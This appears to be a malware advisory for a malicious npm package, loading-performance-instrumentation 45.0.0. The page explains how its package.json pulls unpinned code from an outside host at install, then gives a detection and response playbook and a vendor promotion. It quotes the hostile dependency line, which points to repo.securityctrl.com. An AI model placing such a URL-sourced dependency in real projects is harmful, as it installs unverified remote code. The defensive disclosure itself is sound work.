loading-performance-instrumentationnpm
Advisory published Updated
loading-performance-instrumentation is a confirmed malicious npm package (MAL-2026-15539) that executes malicious code on install (malicious version 45.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in loading-performance-instrumentation (npm)
What this malware does
package.json line 11 declares a dependency whose source is a bare URL rather than a registry version range: "loading-performance-instrumentation": "https://repo.securityctrl.com/loading-performance-instrumentation". The dependency key equals the package's own name (dependency-confusion shape). On npm install, npm fetches whatever bytes repo.securityctrl.com returns for that path and installs them into node_modules, running any lifecycle scripts contained inside the fetched tarball. There is no version pin, no integrity hash, and no commit SHA — the content at that URL can change at any time. The README frames the package as a placeholder to prevent dependency confusion, but the manifest itself resolves the same name to a third-party host, contradicting that framing. The shipped code in this tarball is an inert stub; the manifest URL is the entire install-time payload path.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for loading-performance-instrumentation (version 45.0.0).
If you installed it — respond
Remove loading-performance-instrumentation from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If loading-performance-instrumentation was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks loading-performance-instrumentation-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.